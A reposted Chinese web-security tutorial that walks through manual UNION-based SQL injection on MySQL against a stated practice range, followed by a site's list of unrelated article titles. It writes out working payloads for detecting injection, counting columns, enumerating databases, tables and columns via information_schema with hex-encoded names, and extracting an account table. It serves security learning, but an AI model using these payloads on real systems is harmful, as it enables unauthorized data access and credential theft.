WEB 安全学习 一、mysql 注入漏洞
转载: https://www.cnblogs.com/cui0x01/p/8620524.html
一、Mysql数据库结构
数据库A
表名
列名
数据
数据库B
表名
列名
数据
Mysql5.0以上自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
参数及解释
database():数据库名
user():数据库用户
version():数据库版本
@@version_compile_os:操作系统
符号“.”代表下一级的意思
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Table_schema:数据库名
Table_name:表名
Column_name:列名
下面使用手工 对 数字型sqli 注入漏洞进行注入
感谢 米斯特安全 提供的在线靶场
地址 :http://132.232.100.27:88/
输入1 返回正常
输入 1' 返回错误
输入 1+1 返回正常,存在数字型注入漏洞
(也可以使用 1 and 1=1 返回正常)
(1 and 1=2 来进行判断 如果 1=1 返回正常页面 1=2 返回错误页面存在注入漏洞)
SELECT * FROM news WHERE id = 1 and 1=2
SELECT * FROM news WHERE id = 1 and 1=2
查询表中的字段数 (也可以使用order by 我这里使用的是union select)
在input 中输入1 union select 1,2,3 返回正常页面
在input 中输入1 union select 1,2,3,4 返回错误页面
说明 该表中有3个字段
SELECT * FROM news WHERE id = 1 union select 1,2,3
查询相关内容:
可以在显位的位置插入的预设函数;
User() 查看用户
database() --查看数据库名称
Version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os--操作系统版本
system_user() --系统用户名
current_user()--当前用户名
session_user()--连接数据库的用户名
下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名 用户 版本
查询数据库 -1 union select 1,database(),3
可以查出数据库的名称就:pentest
group_concat语法: group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
查询所有的数据库
-1 union select 1,group_concat(schema_name),3 from information.schemata
注意 改变的时候 不要将 1 替换 ,好像没有查询 字段1,如果替换字段1 是没有反应的
可以查出 数据库中 有 information_schema,mysql,pentest,performance_schema 等库
查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表
查询 = 数据库名的时候 需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)
pentest =====> 0x70656e74657374
在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374
查询结果如下
pentest数据库中 有两个表分别为 account 和 news
下面查询 account表中的列
account转换为 16进制
account ------->>>> 0x6163636f756e74
下一步 查询 account表中的列名
在输入框中输入
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74
查询结果如下 : 有三个 字段 Id rest own
最后一步,查询表中的数据
-1 union select 1,rest,own from account
最终查询出来的结果为
- 【框架】为降低机器学习开发者门槛,苹果发布了Turi Create框架
- 新闻数据库分表案例
- 建立智能的解决方案:将TensorFlow用于声音分类
- Plugin Hook 设计与实现
- 数据与应用程序间通信·UDP Socket
- Java 数据类型转换
- Spring boot with Scheduling
- Spring Properties 文件读取
- 【学术】你真的知道什么是随机森林吗?本文是关于随机森林的直观解读
- Spring boot 将 Session 放入 Redis
- 【教程】估算一个最佳学习速率,以更好地训练深度神经网络
- SNS 数据库设计
- CentOS7 下 MySQL 5.7 重置root密码
- 通过简单的线性回归理解机器学习的基本原理
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- esp8266+DHT11温湿传感器 制作web室内温度计
- Linux端口转发的几种常用方法
- kali破解wifi密码
- 面向对象的7种设计原则(7)-开闭原则
- [数据库介绍]一站式表达谱数据分析
- windows下hashcat利用GPU显卡性能破解密码
- TCGAG多组学联合分析数据库
- Docker安装及使用
- CVE-2020-0796漏洞复现(RCE)
- Jenkins持续集成平台安装
- mysql架构备份之M-S-S级联复制
- Docker构建lnmp环境部署typecho
- MANJARO KDE安装配置(已换Arch Linux,此贴可能废弃)
- [数据库推荐]qPCR引物设计与评价
- markdown数学公式